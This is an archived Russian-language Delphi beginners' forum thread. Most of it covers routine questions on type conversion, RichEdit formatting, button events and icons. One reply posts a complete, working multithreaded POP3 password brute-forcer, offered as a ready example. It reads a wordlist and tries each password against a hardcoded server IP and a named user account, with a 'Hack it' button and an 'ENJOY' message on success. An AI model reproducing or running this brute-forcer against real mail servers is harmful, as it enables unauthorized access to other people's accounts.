[ Delphi / Pascal ] — начинающим: задаем вопросы (архивная - 2015)

нда а попроще...

 

зачем это нужно то вобще?


можно преобразовать данные из integer в real и на оборот
просто сначала данные преобразовываеш в строку а потом из строки в другой типа

например

Code:

var var a,b,c,d :integer;
a1,b1,c1,d1:real;
e:string;
....
....

e:=IntToStr(a);
a1:=StrToFloat(e);

 

A_V,
Ну на тебе готовый пример брутера (под POP3, правда, но не суть)

Code:

unit Unit1;
 
interface
 
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
ComCtrls, StdCtrls, WinSock;
 
type
TForm1 = class(TForm)
   Button1: TButton;
   ProgressBar1: TProgressBar;
   procedure Button1Click(Sender: TObject);
   procedure FormCreate(Sender: TObject);
private
   { Private declarations }
public
   { Public declarations }
end;
 
// Описание процесса
type
TScan = class(TThread)
   sock2 : TSocket;
   addr:TSockAddrIn;
   WSAData : TWSAData;
private
   procedure CScan;
protected
   procedure Execute; override;
end;
 
var
Form1: TForm1;
// Массив процессов
Sock : array[1..255] of TScan;
Rez : boolean = false;
// Кол-во запущенных процессов на данный момент
I0 : Integer;
// Номер текущего пароля
I : Integer;
// TStringList с паролями
PassList : TStringList;
 
 
const
FilePass = 'pass.txt'; // Файл с паролями в каталоге проги
ProcCount = 10; // кол-во процессов
POP3serv = '212.42.64.13'; // POP3 server (отпингованый)
User = 'dndanil';
 
implementation
{$R *.DFM}
 
procedure TForm1.FormCreate(Sender: TObject);
begin
PassList:=TStringList.Create;
end;
 
// Запуск / Остановка
procedure TForm1.Button1Click(Sender: TObject);
begin
if Rez then
   Rez:=false
else
begin
   // Открытие и загрузка файла паролей
   try
     PassList.Clear;
     PassList.LoadFromFile(FilePass);
   except
   end;
   if PassList.Count<=0 then
   begin
     Application.MessageBox('Файл паролей не найден или его нельзя использовать', 'ERROR', mb_Ok);
     exit;
   end;
   Form1.Button1.Caption:='Stop';
   Form1.ProgressBar1.Position:=0;
   // Кол-во паролей
   Form1.ProgressBar1.Max:=PassList.Count;
   Application.ProcessMessages;
   I:=0;
   I0:=1;
   Rez:=true;
   // Запустить все процессы
   while true do
   begin
     Sock[I0]:=TScan.Create(false);
     inc(I0); // Подсчитать их кол-во
     //Выйти если больше указанного, или стоп, или подобрали
     if (I0>ProcCount)or(not Rez) then
       break;
   end;
end;
end;
 
// Проца инициализации процесса
procedure TScan.Execute;
begin
try
   // Запуск цикла
   while true do
   begin
     CScan;
     //Выход, если подобрали или закончился словарь
     if (not Rez)or(I>=PassList.Count) then
       break;
   end;
except
end;
dec(I0);
try
   Terminate;
except
end;
//Если все процессы прерваны -
if I0<=1 then
begin
   Form1.Button1.Caption:='Hack it';
   Rez:=false;
   Application.ProcessMessages;
end;
end;
 
//Проца сканирования
procedure TScan.CScan;
var
iaddr, x, I2 : Integer;
Buf : array [1..255] of Char;
 
//Отправка
procedure sender(str:string);
var
   I1: integer;
begin
   for I1:=1 to Length(str) do
     if send(sock2, str[I1] , 1, 0) = SOCKET_ERROR then
       exit;
end;
 
begin
I2:=I;
inc(I);
Form1.ProgressBar1.Position:=I2+1;
Application.ProcessMessages;
try
   // Инициализация сокета
   WSAStartUp(257, WSAData);
   sock2:=socket(AF_INET,SOCK_STREAM,IPPROTO_IP);
   if sock2=INVALID_SOCKET then
   begin
     try
       closesocket(sock2);
     except
     end;
     exit;
   end;
   //Адрес сервака
   iaddr := inet_addr(PChar(POP3serv));
   if iaddr <=0 then
   begin
     try
       closesocket(sock2);
     except
     end;
     exit;
   end;
   addr.sin_family := AF_INET;
   // Порт сервака
   addr.sin_port := htons(110);
   addr.sin_addr.S_addr:=iaddr;
   if (connect(sock2, addr, sizeof(addr))) >0 then
   begin
     try
       closesocket(sock2);
     except
     end;
     exit;
   end;
   //Получение при соединении
   x:=recv(sock2,buf,sizeof(Buf),0);
   if (x=SOCKET_ERROR)or(buf[1]<>'+') then
     exit;
   //"user user"
   sender('user '+User+#13+#10);
   x:=recv(sock2,buf,sizeof(Buf),0);
   if (x=SOCKET_ERROR)or(buf[1]<>'+') then
     exit;
   //"pass password"
   sender('pass '+PassList.Strings[I2]+#13+#10);
   x:=recv(sock2,buf,sizeof(Buf),0);
   //Если подобралось
   if (x>3)and(buf[1]='+') then
   begin
     Rez:=false;
     Application.MessageBox(PChar('Pass = '+PassList.Strings[I2]),'ENJOY',mb_Ok);
     exit;
   end;
   try
     closesocket(sock2);
   except
   end;
except
end;
end;
 
end.

 

Жесть! А функции integer(), int(), real(), round() и т.п. дураки придумали?

 

xDD
честно никогда не задумывался о них

 

Как в RichEdit загнать из символьного массива ,эти самые текстовые символы?

 

? невкурил...
давай ищё раз и поподробней
PS. string это тоже символьный масив

 

вообщем надо засунуть текст с таким _http://img388.imageshack.us/my.php?image=77973013xh5.jpg форматированием

 

Так варианта 2:
1. присваивать атрибуты для seltext
2. сразу запихать в него "исходник" RTF, типа

Code:

S := '{\rtf1\ansi\ansicpg1251\uc1 \fs16' +   
'{\b \ul\qc\widctlpar \fs20 ' + {WDCaption +} ' Заголовочег \line \line }' + 'Текст \line ' +  '{\par }}'#0; 

 

RichEdit.
редактируешь, затем сохраняешь файл с расширением rtf

 

тут такая жопа возникла

хз как реализовать. Мы в инсте ещё делфи не проходили :d
типа как в фотошопе

 

нельзя.файл должен быть только один то есть exe

 

И так я хочу создать калькулятор
Задал кнопке событие чтобы оно писало в мое окошечко где все вводиться

Code:

procedure TForm1.but1Click(Sender: TObject);
begin
 txtN.Text:='1';
end;

Так он мне выводит в строчку одну единицу а я хочу чтобы было столько единиц скока я нажал на кнопку
Собственно как изменить код чтобы так и было ( как я пожелаю )

И вот я еще с чем столкнулся
Написал событие

Code:

procedure TForm1.Button1Click(Sender: TObject);
begin
 if rad1.Checked:=True then
  begin
   memo1.Lines.Add(txtA.Text);
   txtB.Text(txtA.Text);
   txtC.Text(txtA.Text);
  end;
end;

Так оно ругаеться

 

diznt, надо так

Code:

procedure TForm1.but1Click(Sender: TObject);
begin
 txtN.Text:='1' + txtN.Text;
end;

и...

Code:

procedure TForm1.Button1Click(Sender: TObject);
begin
 if rad1.Checked then
  begin
   memo1.Lines.Add(txtA.Text);
   txtB.Text(txtA.Text);
   txtC.Text(txtA.Text);
  end;
end;

Вы в if присваиваите, а это неверно.

 

работа с ресурсами отменена по дефтолу?!!!!!!!

 

Если я тебя правильно понял:

procedure TForm1.Button1Click(Sender: TObject);
var
rgb: Cardinal;
begin
rgb:=ColorBox1.Selected;
Edit1.Text:=Format('%2x%2x%2x', [GetRValue(rgb), GetGValue(rgb), GetBValue(rgb)]);
end;


на форме:
1. TButton
2. TColorBox
3. TEdit

выбираешь в ColorBox'e цвет
щелкаешь на батон
в Edit'e видишь код

 

как установить иконку в приложении написаном в делфи?

 

Project->Options->Application

 

Или заменить в ресурсах =)

 

Расскажите плиз как делают проги для наложения пароля на папки?
Желательно с какими то примерами Delphi